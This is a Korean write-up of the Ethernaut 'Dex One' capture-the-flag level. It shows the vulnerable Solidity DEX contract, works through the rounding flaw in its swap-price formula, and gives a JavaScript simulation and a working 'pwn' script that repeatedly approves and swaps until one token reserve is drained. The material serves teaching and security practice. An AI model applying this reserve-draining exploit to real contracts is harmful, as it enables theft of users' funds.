Ethernaut: 22. 덱스 원
39399 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
이 수준에는 탈중앙화 거래소(DEX) 계약이 있습니다. 제 경우에는 DEX의 두 토큰입니다.
두 토큰이 모두 있는지 확인할 수 있습니다.
// we have 10 of both tokens
(await contract.balanceOf(await contract.token1(), player)).toNumber()
(await contract.balanceOf(await contract.token2(), player)).toNumber()
// DEX has 100 of both tokens
(await contract.balanceOf(await contract.token1(), contract.address)).toNumber()
(await contract.balanceOf(await contract.token2(), contract.address)).toNumber()
우리는 "계약에서 2개의 토큰 중 적어도 1개를 모두 빼내고 계약이 자산의 나쁜 가격을 보고하도록 허용"하라는 요청을 받았습니다. 그런 다음 스왑 기능에 대해 자세히 살펴보겠습니다.
function swap(address from, address to, uint amount) public {
// token addresses must be valid
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
// sender must have enough balance of FROM
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
// calculate the price, we can inline the actual formula here
// uint swapAmount = getSwapPrice(from, to, amount);
uint swapAmount = (
(amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this))
);
// DEX takes "amount" tokens from us
IERC20(from).transferFrom(msg.sender, address(this), amount);
// DEX gives "swapAmount" tokens to us
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
지금까지 명백한 공격 벡터가 없으므로 스와핑 공식에 대해 좀 더 자세히 살펴보겠습니다.
d_t
와 p_t
는 각각 토큰t
에 대한 DEX와 플레이어의 잔액을 나타내고, a
는 금액을, sa
는 스왑 금액을 나타냅니다. 모든 값은 정수이며 필요한 경우 내림합니다.우리는 일반성을 잃지 않고 둘 다 같은 양을 가지고 있으므로 토큰 1을 모두 교환합시다.
sa = p_1 * (d_2 / d_1) = 10 * (100 / 100) = 10
p_1 = 0
, p_2 = 20
, d_1 = 110
, d_2 = 90
, 즉 한 토큰 10개를 다른 토큰 10개로 교환했습니다. 이제 새 잔액으로 반대 작업을 수행해 보겠습니다.sa = p_2 * (d_1 / d_2) = 20 * (110 / 90) = 24
와! 이전 거래에서 동등하게 취급되었음에도 불구하고 20개를 주고 24개의 토큰을 얻었습니다. javascript real quick로 이것을 시뮬레이트하고 이것이 계속되는지 봅시다:
function simulate(t1_dex, t2_dex, t1_player, t2_player, maxiters = 10) {
// price function
const price = (to_dex, from_dex, amount) => Math.floor(amount * to_dex / from_dex)
let a, sa;
console.log(`
Initial
D1: ${t1_dex}
D2: ${t2_dex}
P1: ${t1_player}
P2: ${t2_player}`)
for (i = 1; i != maxiters && t1_dex > 0 && t2_dex > 0; ++i) {
if (i % 2) {
// trade 'a' amount of t1 for 'sa' amount of t2
a = t1_player
sa = price(t2_dex, t1_dex, a)
if (sa > t2_dex) {
// DEX can't have negative, re-calculate
// sa equals t2_dex this way:
sa = price(t2_dex, t1_dex, t1_dex)
}
// from (t1) changes for a amounts
t1_player -= a;
t1_dex += a;
// to (t2) changes for sa amounts
t2_player += sa;
t2_dex -= sa;
} else {
// trade 'a' amount of t2 for 'sa' amount of t1
a = t2_player
sa = price(t1_dex, t2_dex, a)
if (sa > t1_dex) {
// DEX can't have negative, re-calculate
// sa equals t1_dex this way:
sa = price(t1_dex, t2_dex, t2_dex)
}
// from (t2) changes for a amounts
t2_player -= a;
t2_dex += a;
// to (t1) changes for sa amounts
t1_player += sa;
t1_dex -= sa;
}
console.log(
`Trade #${i}
D1: ${t1_dex}
D2: ${t2_dex}
P1: ${t1_player}
P2: ${t2_player}
Gave: ${a} Token ${i % 2 ? "1" : "2"}
Took: ${sa} Token ${i % 2 ? "2" : "1"}`)
}
}
// simulate(100, 100, 10, 10);
시뮬레이션에서 스왑 금액이 DEX의 잔액보다 큰지 확인하지 않으면 DEX보다 더 많은 돈을 가져가려고 할 것입니다. 결과적으로 트랜잭션을 되돌립니다. 이 때문에 처음에 계산한 스왑 금액으로 음수 값으로 갈 때 스왑 금액이 정확히 DEX의 잔액이 되도록 다시 계산합니다.
공식에서:
a_s = p_from * (d_to / d_from) = d_to
p_from
가 d_from
와 같아야 함을 의미합니다.위의 시뮬레이션을 구현하여 실제로 계약을 호출함으로써 퍼즐을 풀 수 있습니다.
async function pwn(maxiters = 10) {
// initial settings
const T1 = await contract.token1()
const T2 = await contract.token2()
const DEX = contract.address
const PLAYER = player
let a, sa;
let [t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
contract.balanceOf(T1, PLAYER),
contract.balanceOf(T2, PLAYER),
contract.balanceOf(T1, DEX),
contract.balanceOf(T2, DEX)
])).map(bn => bn.toNumber())
console.log(`
Initial
D1: ${t1_dex}
D2: ${t2_dex}
P1: ${t1_player}
P2: ${t2_player}`)
for (i = 1; i != maxiters && t1_dex > 0 && t2_dex > 0; ++i) {
if (i % 2) {
// trade t1 to t2
a = t1_player
sa = (await contract.getSwapPrice(T1, T2, a)).toNumber()
if (sa > t2_dex) {
a = t1_dex
}
// make the call
await contract.approve(contract.address, a)
await contract.swap(T1, T2, a)
} else {
// trade t2 to t1
a = t2_player
sa = (await contract.getSwapPrice(T2, T1, a)).toNumber()
if (sa > t1_dex) {
a = t2_dex
}
// make the call
await contract.approve(contract.address, a)
await contract.swap(T2, T1, a)
}
// new balances
;[t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
contract.balanceOf(T1, PLAYER),
contract.balanceOf(T2, PLAYER),
contract.balanceOf(T1, DEX),
contract.balanceOf(T2, DEX)
])).map(bn => bn.toNumber())
console.log(
`Trade #${i}
D1: ${t1_dex}
D2: ${t2_dex}
P1: ${t1_player}
P2: ${t2_player}
Gave: ${a} Token ${i % 2 ? "1" : "2"}
Took: ${sa} Token ${i % 2 ? "2" : "1"}`)
}
}
// await pwn()
위의 기능을 실행하면 완료하는 데 일련의 트랜잭션이 필요하지만(콘솔은 상당히 화려할 것입니다) 결국 DEX는 토큰 중 하나를 고갈시킵니다! 확인을 위해 이 게시물의 시작 부분에 있는 4줄을 실행하여 잔액을 확인할 수 있습니다.
Reference
이 문제에 관하여(Ethernaut: 22. 덱스 원), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-22-dex-one-79c텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)